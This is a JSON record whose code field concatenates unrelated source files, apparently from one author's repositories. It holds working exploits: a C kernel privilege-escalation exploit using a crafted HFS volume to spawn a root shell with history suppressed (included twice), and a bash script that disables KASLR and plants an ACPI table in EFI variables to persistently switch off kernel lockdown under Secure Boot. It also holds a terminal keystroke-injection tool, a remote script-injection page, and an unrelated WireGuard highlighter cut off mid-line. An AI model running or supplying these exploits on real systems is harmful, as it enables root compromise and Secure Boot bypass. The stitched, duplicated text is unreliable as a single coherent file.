{"code":"var page = require(\"webpage\").create();\nvar args = require(\"system\").args;\n\nif (args.length != 2)\n\tphantom.exit();\n\npage.settings.userAgent = \"Mozilla/5.0 (compatible; ZX2C4 Server Execute Phantom/1.0; +http://git.zx2c4.com/server-execute-phantom/about/)\";\npage.open(args[1], function() {\n\tconsole.log(page.content);\n\tphantom.exit();\n});\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include <syscall.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#include <sys/utsname.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n// Spender's kernel sym code\nunsigned long get_kernel_sym(char *name)\n{\n\tFILE *f;\n\tunsigned long addr;\n\tchar dummy;\n\tchar sname[512];\n\tstruct utsname ver;\n\tint ret;\n\tint rep = 0;\n\tint oldstyle = 0;\n \n\tf = fopen(\"/proc/kallsyms\", \"r\");\n\tif (f == NULL) {\n\t\tf = fopen(\"/proc/ksyms\", \"r\");\n\t\tif (f == NULL)\n\t\t\tgoto fallback;\n\t\toldstyle = 1;\n\t}\n \nrepeat:\n\tret = 0;\n\twhile(ret != EOF) {\n\t\tif (!oldstyle)\n\t\t\tret = fscanf(f, \"%p %c %s\\n\", (void **)&addr, &dummy, sname);\n\t\telse {\n\t\t\tret = fscanf(f, \"%p %s\\n\", (void **)&addr, sname);\n\t\t\tif (ret == 2) {\n\t\t\t\tchar *p;\n\t\t\t\tif (strstr(sname, \"_O/\") || strstr(sname, \"_S.\"))\n\t\t\t\t\tcontinue;\n\t\t\t\tp = strrchr(sname, '_');\n\t\t\t\tif (p > ((char *)sname + 5) && !strncmp(p - 3, \"smp\", 3)) {\n\t\t\t\t\tp = p - 4;\n\t\t\t\t\twhile (p > (char *)sname && *(p - 1) == '_')\n\t\t\t\t\t\tp--;\n\t\t\t\t\t*p = '\\0';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (ret == 0) {\n\t\t\tfscanf(f, \"%s\\n\", sname);\n\t\t\tcontinue;\n\t\t}\n\t\tif (!strcmp(name, sname)) {\n\t\t\tfprintf(stdout, \"[+] Resolved %s to %p%s\\n\", name, (void *)addr, rep ? \" (via System.map)\" : \"\");\n\t\t\tfclose(f);\n\t\t\treturn addr;\n\t\t}\n\t}\n \n\tfclose(f);\n\tif (rep)\n\t\treturn 0;\nfallback:\n\tuname(&ver);\n\tif (strncmp(ver.release, \"2.6\", 3))\n\t\toldstyle = 1;\n\tsprintf(sname, \"/boot/System.map-%s\", ver.release);\n\tf = fopen(sname, \"r\");\n\tif (f == NULL)\n\t\treturn 0;\n\trep = 1;\n\tgoto repeat;\n}\n \ntypedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);\ntypedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);\n_commit_creds commit_creds;\n_prepare_kernel_cred prepare_kernel_cred;\n\nvolatile int got_root = 0;\nvoid root()\n{\n\tcommit_creds(prepare_kernel_cred(0));\n\tgot_root = 1;\n}\n\nvoid build_volume()\n{\n\tif (getuid()) {\n\t\tprintf(\"[-] You must be root to build the malicious volume. Do this on another computer you control.\\n\");\n\t\texit(-1);\n\t}\n\tprintf(\"[+] Building malicious HFS volume at /tmp/evilhfs.\\n\");\n\tsystem(\"dd if=/dev/zero of=/tmp/evilhfs count=2048\");\n\tsystem(\"mkfs.hfs -h /tmp/evilhfs\");\n\tsystem(\"mkdir -v /tmp/evilhfsmount\");\n\tsystem(\"mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount\");\n\tsystem(\"touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\");\n\tsystem(\"umount -v /tmp/evilhfsmount\");\n\tsystem(\"rmdir -v /tmp/evilhfsmount\");\n\t\n\tprintf(\"[+] Modifying volume.\\n\");\n\tFILE *hfs = fopen(\"/tmp/evilhfs\", \"r+\");\n\tif (!hfs) {\n\t\tperror(\"fopen\");\n\t\texit(-1);\n\t}\n\tfseek(hfs, 0x2AA0, SEEK_SET);\n\tfputc(0xFF, hfs); // Make the length 255\n\tfseek(hfs, 0x2B00, SEEK_SET);\n\tfor (int i = 0; i < 128; ++i)\n\t\tfputc('A', hfs); // Write an A, which is 0x41\n\tfclose(hfs);\n}\n\nvoid main(int argc, char *argv[])\n{\n\tif (argc == 2 && strcmp(argv[1], \"-b\") == 0) {\n\t\tbuild_volume();\n\t\treturn;\n\t}\n\t\n\tprintf(\"[+] Resolving kernel symbols.\\n\");\n        commit_creds = (_commit_creds) get_kernel_sym(\"commit_creds\");\n        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(\"prepare_kernel_cred\");\n\tif (!commit_creds || !prepare_kernel_cred) {\n\t\tprintf(\"[-] Failed to resolve kernel symbols.\\n\");\n\t\texit(-1);\n\t}\n\t\n\tprintf(\"[+] Mmaping ascii page.\\n\");\n\tvoid *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0);\n\tif ((long)location < 0) {\n\t\tperror(\"[-] mmap\");\n\t\texit(-1);\n\t}\n\t\n\tprintf(\"[+] Adding jmp to pwnage at 0x40404040.\\n\");\n\tfor (unsigned long i = 0x40404000; i <= 0x40404040; ++i)\n\t\t*(char*)i = 0x90; // nop\n\t*(char*)0x40404041 = 0xe9; // jmp\n\t*(unsigned long*)0x40404042 = (unsigned long)&root;\n\t\n\tprintf(\"[+] Enter the mount point of the malicious HFS volume: \");\n\tchar mountpoint[256];\n\t// For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids.\n\tgets(mountpoint);\n\t\n\tprintf(\"[+] Reading directory to trigger overflow.\\n\");\n\tDIR *dir = opendir(mountpoint);\n\tif (!dir) {\n\t\tperror(\"opendir\");\n\t\texit(-1);\n\t}\n\twhile(readdir(dir));\n\n\tprintf(\"[+] Triggering clobbered function pointer.\\n\");\n\tsyscall(__NR_restart_syscall);\n\t\n\tif (!got_root) {\n\t\tprintf(\"[-] Failed to get root.\\n\");\n\t\texit(-1);\n\t}\n\t\n\tsetuid(0);\n\tsetgid(0);\n\tsetenv(\"HISTFILE\", \"/dev/null\", 1);\n\texecl(\"/bin/sh\", \"sh\", \"-i\", NULL);\n}\n#!/bin/bash\n\n# American Unsigned Language\n# ==========================\n# by zx2c4, 2020-06-13\n#\n# This exploit takes advantage of the efivar_ssdt entry point for injecting\n# acpi tables into Ubuntu Bionic 18.04 kernels, where efivar_ssdt is not\n# protected by kernel lockdown. The result is that one can subsequently load\n# unsigned kernel drivers into systems with Secure Boot enabled, without\n# needing to sign the modules.\n#\n# efivar_ssdt points to the name of an EFI variable, for which all GUID'd\n# versions are enumerated, and then the contents are loaded as an ACPI table.\n# In order for this to be useful we have to create an ASL file to be loaded,\n# whose payload has the effect of writing zeros into the kernel_locked_down\n# variable. Note that since we're accessing this via a physical address,\n# neither various mitigations nor pagetable permissions restrict this. Plus,\n# this method is generally executed during kernel init. In order to figure out\n# a stable physical address that survives reboots, we just disable kaslr so\n# that we can keep the same ssdt on all boots, making exploitation persistent.\n#\n# The \\_SB_.GSIF._STA method is used, because SSDTs loaded this way cannot\n# overwrite DSDT methods, but they can add new ones, and on the QEMU rig used\n# to develop this, \\_SB_.GSIF._STA was not defined, even though the kernel was\n# evaluating it. Depending on your platform, you may wish to use a different\n# method.\n#\n# Greetz to jono.\n#\n# Demo time:\n#\n# 1) First we show which kernel we're running:\n#\n# zx2c4@bionicman:~$ uname -a\n# Linux bionicman 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux\n#\n# 2) Observe that we can't load unsigned WireGuard:\n#\n# zx2c4@bionicman:~$ sudo modprobe wireguard\n# modprobe: ERROR: could not insert 'wireguard': Required key not available\n#\n# 3) Run the exploit, whose first stage disables kaslr:\n#\n# zx2c4@bionicman:~$ ./american-unsigned-language.sh\n# [+] Adding kernel cmdline variable to grub\n# Sourcing file `/etc/default/grub'\n# Generating grub configuration file ...\n# Found linux image: /boot/vmlinuz-4.15.0-106-generic\n# Found initrd image: /boot/initrd.img-4.15.0-106-generic\n# Adding boot menu entry for EFI firmware configuration\n# done\n# [+] Reboot your computer, and then run this again.\n# zx2c4@bionicman:~$ sudo reboot\n#\n# 4) After the computer reboots, we compute addresses and create an ssdt:\n#\n# zx2c4@bionicman:~$ ./american-unsigned-language.sh\n# [+] Resolving kernel symbols\n#  *  kernel_locked_down = 0xffffffff821c6c98\n# [+] Mapping virtual address to physical address\n#  *  kernel base = 0x1800000\n#  *  kernel_locked_down = 0x29c6c98\n# [+] Constructing ASL\n# [+] Allocating GUID for ASL\n#  *  guid = c5cffed4-e102-4ace-9a41-bb2811961602\n# [+] Writing ASL to efivarfs\n# [+] Adding kernel cmdline variable to grub\n# Sourcing file `/etc/default/grub'\n# Generating grub configuration file ...\n# Found linux image: /boot/vmlinuz-4.15.0-106-generic\n# Found initrd image: /boot/initrd.img-4.15.0-106-generic\n# Adding boot menu entry for EFI firmware configuration\n# done\n# [+] Success. Reboot to activate.\n# zx2c4@bionicman:~$ sudo reboot\n#\n# 5) After the computer reboots, we're now good to go, and kernel lockdown\n#    is persistently disabled:\n#\n# zx2c4@bionicman:~$ sudo modprobe wireguard\n# zx2c4@bionicman:~$ dmesg | grep WireGuard\n# [   40.574623] wireguard: WireGuard 1.0.20200611 loaded. See www.wireguard.com for information.\n\n\nset -e\n\nSELF=\"$(readlink -f \"${BASH_SOURCE[0]}\")\"\n[[ $UID == 0 ]] || exec sudo -- \"$BASH\" -- \"$SELF\" \"$@\"\n\necho \"==================================\"\necho \"=   American Unsigned Language   =\"\necho \"=            by zx2c4            =\"\necho \"==================================\"\n\nif [[ ! -d /boot/efi ]]; then\n\techo \"[+] Mounting /boot partition\"\n\tmount /boot\nfi\n\nif [[ $(< /proc/cmdline) != *nokaslr* ]]; then\n\tif ! grep -F -q nokaslr /etc/default/grub; then\n\t\techo \"[+] Adding kernel cmdline variable to grub\"\n\t\techo 'GRUB_CMDLINE_LINUX_DEFAULT=\"$GRUB_CMDLINE_LINUX_DEFAULT nokaslr\"' >> /etc/default/grub\n\t\tupdate-grub\n\tfi\n\techo \"[+] Reboot your computer, and then run this again.\"\n\texit 0\nfi\n\nif ! command -v iasl >/dev/null 2>&1; then\n\techo \"[+] Installing dependencies\"\n\tapt-get install -y acpica-tools\nfi\n\necho \"[+] Resolving kernel symbols\"\nread -r addr type symbol < <(grep -F kernel_locked_down /proc/kallsyms)\n[[ $symbol == kernel_locked_down ]]\naddr=$(( 0x$addr ))\nprintf ' *  kernel_locked_down = 0x%x\\n' \"$addr\"\n\necho \"[+] Mapping virtual address to physical address\"\naddr=$(( $addr & ~0xffffffff80000000 ))\nwhile read -r line; do\n\t[[ $line =~ ([0-9a-f]+)-[0-9a-f]+\\ :\\ Kernel\\ code ]] || continue\n\toffset=$(( 0x${BASH_REMATCH[1]} ))\n\tprintf ' *  kernel base = 0x%x\\n' \"$offset\"\n\toffset=$(( $offset - 0x01000000 ))\n\taddr=$(( $addr + $offset ))\n\tbreak\ndone < /proc/iomem\nprintf ' *  kernel_locked_down = 0x%x\\n' \"$addr\"\n\necho \"[+] Constructing ASL\"\ntrap 'rm -f /root/trigger.aml /root/trigger.aml.efi' EXIT\niasl -p \"/root/trigger\" /dev/stdin > /dev/null <<-_EOF\n\tDefinitionBlock (\"trigger.aml\", \"SSDT\", 2, \"\", \"\", 0x00001001) {\n\t  OperationRegion (KMEM, SystemMemory, $(printf '0x%x' \"$addr\"), 4)\n\t  Field (KMEM, DWordAcc, NoLock, WriteAsZeros) {\n\t    LKDN, 32\n\t  }\n\t  Method (\\_SB_.GSIF._STA) {\n\t    If (LKDN) {\n\t      LKDN = Zero\n\t    }\n\t    Return (Zero)\n\t  }\n\t}\n_EOF\n{ printf '\\007\\000\\000\\000'; cat /root/trigger.aml; } > /root/trigger.aml.efi\n\necho \"[+] Allocating GUID for ASL\"\nguid=$(find \"/sys/firmware/efi/efivars\" -name \"AmUnsignedLg-*\" | head -n1 | cut -f2- -d-)\n[[ -n \"$guid\" ]] || guid=\"$(< /proc/sys/kernel/random/uuid)\"\necho \" *  guid = $guid\"\n\necho \"[+] Writing ASL to efivarfs\"\nefivar=\"/sys/firmware/efi/efivars/AmUnsignedLg-$guid\"\n[[ -f $efivar ]] && chattr -i \"$efivar\"\ndd if=/root/trigger.aml.efi of=\"$efivar\" bs=\"$(stat -c %s /root/trigger.aml.efi)\" status=none\n\nif ! grep -F -q AmUnsignedLg /etc/default/grub; then\n\techo \"[+] Adding kernel cmdline variable to grub\"\n\techo 'GRUB_CMDLINE_LINUX_DEFAULT=\"$GRUB_CMDLINE_LINUX_DEFAULT efivar_ssdt=AmUnsignedLg\"' >> /etc/default/grub\n\tupdate-grub\nfi\n\necho \"[+] Success. Reboot to activate.\"\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include <syscall.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#include <sys/utsname.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n// Spender's kernel sym code\nunsigned long get_kernel_sym(char *name)\n{\n\tFILE *f;\n\tunsigned long addr;\n\tchar dummy;\n\tchar sname[512];\n\tstruct utsname ver;\n\tint ret;\n\tint rep = 0;\n\tint oldstyle = 0;\n \n\tf = fopen(\"/proc/kallsyms\", \"r\");\n\tif (f == NULL) {\n\t\tf = fopen(\"/proc/ksyms\", \"r\");\n\t\tif (f == NULL)\n\t\t\tgoto fallback;\n\t\toldstyle = 1;\n\t}\n \nrepeat:\n\tret = 0;\n\twhile(ret != EOF) {\n\t\tif (!oldstyle)\n\t\t\tret = fscanf(f, \"%p %c %s\\n\", (void **)&addr, &dummy, sname);\n\t\telse {\n\t\t\tret = fscanf(f, \"%p %s\\n\", (void **)&addr, sname);\n\t\t\tif (ret == 2) {\n\t\t\t\tchar *p;\n\t\t\t\tif (strstr(sname, \"_O/\") || strstr(sname, \"_S.\"))\n\t\t\t\t\tcontinue;\n\t\t\t\tp = strrchr(sname, '_');\n\t\t\t\tif (p > ((char *)sname + 5) && !strncmp(p - 3, \"smp\", 3)) {\n\t\t\t\t\tp = p - 4;\n\t\t\t\t\twhile (p > (char *)sname && *(p - 1) == '_')\n\t\t\t\t\t\tp--;\n\t\t\t\t\t*p = '\\0';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (ret == 0) {\n\t\t\tfscanf(f, \"%s\\n\", sname);\n\t\t\tcontinue;\n\t\t}\n\t\tif (!strcmp(name, sname)) {\n\t\t\tfprintf(stdout, \"[+] Resolved %s to %p%s\\n\", name, (void *)addr, rep ? \" (via System.map)\" : \"\");\n\t\t\tfclose(f);\n\t\t\treturn addr;\n\t\t}\n\t}\n \n\tfclose(f);\n\tif (rep)\n\t\treturn 0;\nfallback:\n\tuname(&ver);\n\tif (strncmp(ver.release, \"2.6\", 3))\n\t\toldstyle = 1;\n\tsprintf(sname, \"/boot/System.map-%s\", ver.release);\n\tf = fopen(sname, \"r\");\n\tif (f == NULL)\n\t\treturn 0;\n\trep = 1;\n\tgoto repeat;\n}\n \ntypedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);\ntypedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);\n_commit_creds commit_creds;\n_prepare_kernel_cred prepare_kernel_cred;\n\nvolatile int got_root = 0;\nvoid root()\n{\n\tcommit_creds(prepare_kernel_cred(0));\n\tgot_root = 1;\n}\n\nvoid build_volume()\n{\n\tif (getuid()) {\n\t\tprintf(\"[-] You must be root to build the malicious volume. Do this on another computer you control.\\n\");\n\t\texit(-1);\n\t}\n\tprintf(\"[+] Building malicious HFS volume at /tmp/evilhfs.\\n\");\n\tsystem(\"dd if=/dev/zero of=/tmp/evilhfs count=2048\");\n\tsystem(\"mkfs.hfs -h /tmp/evilhfs\");\n\tsystem(\"mkdir -v /tmp/evilhfsmount\");\n\tsystem(\"mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount\");\n\tsystem(\"touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\");\n\tsystem(\"umount -v /tmp/evilhfsmount\");\n\tsystem(\"rmdir -v /tmp/evilhfsmount\");\n\t\n\tprintf(\"[+] Modifying volume.\\n\");\n\tFILE *hfs = fopen(\"/tmp/evilhfs\", \"r+\");\n\tif (!hfs) {\n\t\tperror(\"fopen\");\n\t\texit(-1);\n\t}\n\tfseek(hfs, 0x2AA0, SEEK_SET);\n\tfputc(0xFF, hfs); // Make the length 255\n\tfseek(hfs, 0x2B00, SEEK_SET);\n\tfor (int i = 0; i < 128; ++i)\n\t\tfputc('A', hfs); // Write an A, which is 0x41\n\tfclose(hfs);\n}\n\nvoid main(int argc, char *argv[])\n{\n\tif (argc == 2 && strcmp(argv[1], \"-b\") == 0) {\n\t\tbuild_volume();\n\t\treturn;\n\t}\n\t\n\tprintf(\"[+] Resolving kernel symbols.\\n\");\n        commit_creds = (_commit_creds) get_kernel_sym(\"commit_creds\");\n        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(\"prepare_kernel_cred\");\n\tif (!commit_creds || !prepare_kernel_cred) {\n\t\tprintf(\"[-] Failed to resolve kernel symbols.\\n\");\n\t\texit(-1);\n\t}\n\t\n\tprintf(\"[+] Mmaping ascii page.\\n\");\n\tvoid *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0);\n\tif ((long)location < 0) {\n\t\tperror(\"[-] mmap\");\n\t\texit(-1);\n\t}\n\t\n\tprintf(\"[+] Adding jmp to pwnage at 0x40404040.\\n\");\n\tfor (unsigned long i = 0x40404000; i <= 0x40404040; ++i)\n\t\t*(char*)i = 0x90; // nop\n\t*(char*)0x40404041 = 0xe9; // jmp\n\t*(unsigned long*)0x40404042 = (unsigned long)&root;\n\t\n\tprintf(\"[+] Enter the mount point of the malicious HFS volume: \");\n\tchar mountpoint[256];\n\t// For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids.\n\tgets(mountpoint);\n\t\n\tprintf(\"[+] Reading directory to trigger overflow.\\n\");\n\tDIR *dir = opendir(mountpoint);\n\tif (!dir) {\n\t\tperror(\"opendir\");\n\t\texit(-1);\n\t}\n\twhile(readdir(dir));\n\n\tprintf(\"[+] Triggering clobbered function pointer.\\n\");\n\tsyscall(__NR_restart_syscall);\n\t\n\tif (!got_root) {\n\t\tprintf(\"[-] Failed to get root.\\n\");\n\t\texit(-1);\n\t}\n\t\n\tsetuid(0);\n\tsetgid(0);\n\tsetenv(\"HISTFILE\", \"/dev/null\", 1);\n\texecl(\"/bin/sh\", \"sh\", \"-i\", NULL);\n}\n#include <stdio.h>\n#include <sys/ioctl.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n\nint main(int argc, char *argv[])\n{\n\tif (argc < 2) {\n\t\tfprintf(stderr, \"Usage: %s /dev/tty[0-9]+ [COMMANDS ...]\\n\", argv[0]);\n\t\tfprintf(stderr, \"If COMMANDS is blank, write only a new line.\\n\");\n\t\tfprintf(stderr, \"You can obtain the tty device from a particular terminal via the 'tty' command.\\n\");\n\t\tfprintf(stderr, \"Please note, you may have to run this program as root.\\n\");\n\t\treturn 1;\n\t}\n\tint ttyfd;\n\tif ((ttyfd = open(argv[1], O_WRONLY)) == -1) {\n\t\tperror(\"open\");\n\t\treturn errno;\n\t}\n\tfor (int i = 2; i < argc; ++i) {\n\t\tfor (char *c = argv[i]; *c; ++c) {\n\t\t\tif (ioctl(ttyfd, TIOCSTI, c) == -1) {\n\t\t\t\tperror(\"ioctl\");\n\t\t\t\treturn errno;\n\t\t\t}\n\t\t}\n\t\tif (i != argc - 1 && ioctl(ttyfd, TIOCSTI, \" \") == -1) {\n\t\t\tperror(\"ioctl\");\n\t\t\treturn errno;\n\t\t}\n\t}\n\tif (ioctl(ttyfd, TIOCSTI, \"\\n\") == -1) {\n\t\tperror(\"ioctl\");\n\t\treturn errno;\n\t}\n\treturn 0;\n}\n\n<html>\n<head>\n<script src=\"secure.js\"></script>\n<script>\nsetTimeout(function() {\n\talert(\"bout to insert\");\n\tvar script = document.createElement('script');\n\tscript.type = 'text/javascript';\n\tscript.src = 'http://www.zx2c4.com/somescript.js';\n\tdocument.getElementsByTagName(\"head\")[0].appendChild(script)\n}, 3000);\n</script>\n</head>\n<body>\nWill you see this text?\n</body>\n</html>\n\n#!/bin/sh\nsudo ./intercept.sh < sample.in\n\n// SPDX-License-Identifier: GPL-2.0\n/*\n * Copyright (C) 2015-2020 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.\n */\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n#include \"highlighter.h\"\n\ntypedef struct {\n\tconst char *s;\n\tsize_t len;\n} string_span_t;\n\nstatic bool is_decimal(char c)\n{\n\treturn c >= '0' && c <= '9';\n}\n\nstatic bool is_hexadecimal(char c)\n{\n\treturn is_decimal(c) || ((c | 32) >= 'a' && (c | 32) <= 'f');\n}\n\nstatic bool is_alphabet(char c)\n{\n\treturn (c | 32) >= 'a' && (c | 32) <= 'z';\n}\n\nstatic bool is_same(string_span_t s, const char *c)\n{\n\tsize_t len = strlen(c);\n\n\tif (len != s.len)\n\t\treturn false;\n\treturn !memcmp(s.s, c, len);\n}\n\nstatic bool is_caseless_same(string_span_t s, const char *c)\n{\n\tsize_t len = strlen(c);\n\n\tif (len != s.len)\n\t\treturn false;\n\tfor (size_t i = 0; i < len; ++i) {\n\t\tchar a = c[i], b = s.s[i];\n\t\tif ((unsigned)a - 'a' < 26)\n\t\t\ta &= 95;\n\t\tif ((unsigned)b - 'a' < 26)\n\t\t\tb &= 95;\n\t\tif (a != b)\n\t\t\treturn false;\n\t}\n\treturn true;\n}\n\nstatic bool is_valid_key(string_span_t s)\n{\n\tif (s.len != 44 || s.s[43] != '=')\n\t\treturn false;\n\n\tfor (size_t i = 0; i < 42; ++i) {\n\t\tif (!is_decimal(s.s[i]) && !is_alphabet(s.s[i]) &&\n\t\t    s.s[i] != '/' && s.s[i] != '+')\n\t\t\treturn false;\n\t}\n\tswitch (s.s[42]) {\n\tcase 'A':\n\tcase 'E':\n\tcase 'I':\n\tcase 'M':\n\tcase 'Q':\n\tcase 'U':\n\tcase 'Y':\n\tcase 'c':\n\tcase 'g':\n\tcase 'k':\n\tcase 'o':\n\tcase 's':\n\tcase 'w':\n\tcase '4':\n\tcase '8':\n\tcase '0':\n\t\tbreak;\n\tdefault:\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nstatic bool is_valid_hostname(string_span_t s)\n{\n\tsize_t num_digit = 0, num_entity = s.len;\n\n\tif (s.len > 63 || !s.len)\n\t\treturn false;\n\tif (s.s[0] == '-' || s.s[s.len - 1] == '-')\n\t\treturn false;\n\tif (s.s[0] == '.' || s.s[s.len - 1] == '.')\n\t\treturn false;\n\n\tfor (size_t i = 0; i < s.len; ++i) {\n\t\tif (is_decimal(s.s[i])) {\n\t\t\t++num_digit;\n\t\t\tcontinue;\n\t\t}\n\t\tif (s.s[i] == '.') {\n\t\t\t--num_entity;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!is_alphabet(s.s[i]) && s.s[i] != '-')\n\t\t\treturn false;\n\n\t\tif (i && s.s[i] == '.' && s.s[i - 1] == '.')\n\t\t\treturn false;\n\t}\n\treturn num_digit != num_entity;\n}\n\nstatic bool is_valid_ipv4(string_span_t s)\n{\n\tfor (size_t j, i = 0, pos = 0; i < 4 && pos < s.len; ++i) {\n\t\tuint32_t val = 0;\n\n\t\tfor (j = 0; j < 3 && pos + j < s.len && is_decimal(s.s[pos + j]); ++j)\n\t\t\tval = 10 * val + s.s[pos + j] - '0';\n\t\tif (j == 0 || (j > 1 && s.s[pos] == '0') || val > 255)\n\t\t\treturn false;\n\t\tif (pos + j == s.len && i == 3)\n\t\t\treturn true;\n\t\tif (s.s[pos + j] != '.')\n\t\t\treturn false;\n\t\tpos += j + 1;\n\t}\n\treturn false;\n}\n\nstatic bool is_valid_ipv6(string_span_t s)\n{\n\tsize_t pos = 0;\n\tbool seen_colon = false;\n\n\tif (s.len < 2)\n\t\treturn false;\n\tif (s.s[pos] == ':' && s.s[++pos] != ':')\n\t\treturn false;\n\tif (s.s[s.len - 1] == ':' && s.s[s.len - 2] != ':')\n\t\treturn false;\n\n\tfor (size_t j, i = 0; pos < s.len; ++i) {\n\t\tif (s.s[pos] == ':' && !seen_colon) {\n\t\t\tseen_colon = true;\n\t\t\tif (++pos == s.len)\n\t\t\t\tbreak;\n\t\t\tif (i == 7)\n\t\t\t\treturn false;\n\t\t\tcontinue;\n\t\t}\n\t\tfor (j = 0; j < 4 && pos + j < s.len && is_hexadecimal(s.s[pos + j]); ++j);\n\t\tif (j == 0)\n\t\t\treturn false;\n\t\tif (pos + j == s.len && (seen_colon || i == 7))\n\t\t\tbreak;\n\t\tif (i == 7)\n\t\t\treturn false;\n\t\tif (s.s[pos + j] != ':') {\n\t\t\tif (s.s[pos + j] != '.' || (i < 6 && !seen_colon))\n\t\t\t\treturn false;\n\t\t\treturn is_valid_ipv4((string_span_t){ s.s + pos, s.len - pos });\n\t\t}\n\t\tpos += j + 1;\n\t}\n\treturn true;\n}\n\nstatic bool is_valid_uint(string_span_t s, bool support_hex, uint64_t min, uint64_t max)\n{\n\tuint64_t val = 0;\n\n\t/* Bound this around 32 bits, so that we don't have to write overflow logic. */\n\tif (s.len > 10 || !s.len)\n\t\treturn false;\n\n\tif (support_hex && s.len > 2 && s.s[0] == '0' && s.s[1] == 'x') {\n\t\tfor (size_t i = 2; i < s.len; ++i) {\n\t\t\tif ((unsigned)s.s[i] - '0' < 10)\n\t\t\t\tval = 16 * val + (s.s[i] - '0');\n\t\t\telse if (((unsigned)s.s[i] | 32) - 'a' < 6)\n\t\t\t\tval = 16 * val + (s.s[i] | 32) - 'a' + 10;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t}\n\t} else {\n\t\tfor (size_t i = 0; i < s.len; ++i) {\n\t\t\tif (!is_decimal(s.s[i]))\n\t\t\t\treturn false;\n\t\t\tval = 10 * val + s.s[i] - '0';\n\t\t}\n\t}\n\treturn val <= max && val >= min;\n}\n\nstatic bool is_valid_port(string_span_t s)\n{\n\treturn is_valid_uint(s, false, 0, 65535);\n}\n\nstatic bool is_valid_mtu(string_span_t s)\n{\n\treturn is_valid_uint(s, false, 576, 65535);\n}\n\nstatic bool is_valid_persistentkeepalive(string_span_t s)\n{\n\tif (is_same(s, \"off\"))\n\t\treturn true;\n\treturn is_valid_uint(s, false, 0, 65535);\n}\n\nstatic bool is_valid_table(string_span_t s)\n{\n\tif (is_same(s, \"auto\"))\n\t\treturn true;\n\tif (is_same(s, \"main\"))\n\t\treturn true;\n\tif (is_same(s, \"off\"))\n\t\treturn true;\n\treturn is_valid_uint(s, false, 0, 4294967295);\n}\n\nstatic bool is_valid_prepostupdown(string_span_t s)\n{\n\t/* It's probably not worthwhile to try to validate a bash expression.\n\t * So instead we just demand non-zero length. */\n\treturn s.len;\n}\n\nstatic bool is_valid_scope(string_span_t s)\n{\n\tif (s.len > 64 || !s.len)\n\t\treturn false;\n\tfor (size_t i = 0; i < s.len; ++i) {\n\t\tif (!is_alphabet(s.s[i]) && !is_decimal(s.s[i]) &&\n\t\t    s.s[i] != '_' && s.s[i] != '=' && s.s[i] != '+' &&\n\t\t    s.s[i] != '.' && s.s[i] != '-')\n\t\t\treturn false;\n\t}\n\treturn true;\n}\n\nstatic bool is_valid_endpoint(string_span_t s)\n{\n\n\tif (!s.len)\n\t\treturn false;\n\n\tif (s.s[0] == '[') {\n\t\tbool seen_scope = false;\n\t\tstring_span_t hostspan = { s.s + 1, 0 };\n\n\t\tfor (size_t i = 1; i < s.len; ++i) {\n\t\t\tif (s.s[i] == '%') {\n\t\t\t\tif (seen_scope)\n\t\t\t\t\treturn false;\n\t\t\t\tseen_scope = true;\n\t\t\t\tif (!is_valid_ipv6(hostspan))\n\t\t\t\t\treturn false;\n\t\t\t\thostspan = (string_span_t){ s.s + i + 1, 0 };\n\t\t\t} else if (s.s[i] == ']') {\n\t\t\t\tif (seen_scope) {\n\t\t\t\t\tif (!is_valid_scope(hostspan))\n\t\t\t\t\t\treturn false;\n\t\t\t\t} else if (!is_valid_ipv6(hostspan)) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tif (i == s.len - 1 || s.s[i + 1] != ':')\n\t\t\t\t\treturn false;\n\t\t\t\treturn is_valid_port((string_span_t){ s.s + i + 2, s.len - i - 2 });\n\t\t\t} else {\n\t\t\t\t++hostspan.len;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\tfor (size_t i = 0; i < s.len; ++i) {\n\t\tif (s.s[i] == ':') {\n\t\t\tstring_span_t host = { s.s, i }, port = { s.s + i + 1, s.len - i - 1};\n\t\t\treturn is_valid_port(port) && (is_valid_ipv4(host) || is_valid_hostname(host));\n\t\t}\n\t}\n\treturn false;\n}\n\nstatic bool is_valid_network(string_span_t s)\n{\n\tfor (size_t i = 0; i < s.len; ++i) {\n\t\tif (s.s[i] == '/') {\n\t\t\tstring_span_t ip = { s.s, i }, cidr = { s.s + i + 1, s.len - i - 1};\n\t\t\tuint16_t cidrval = 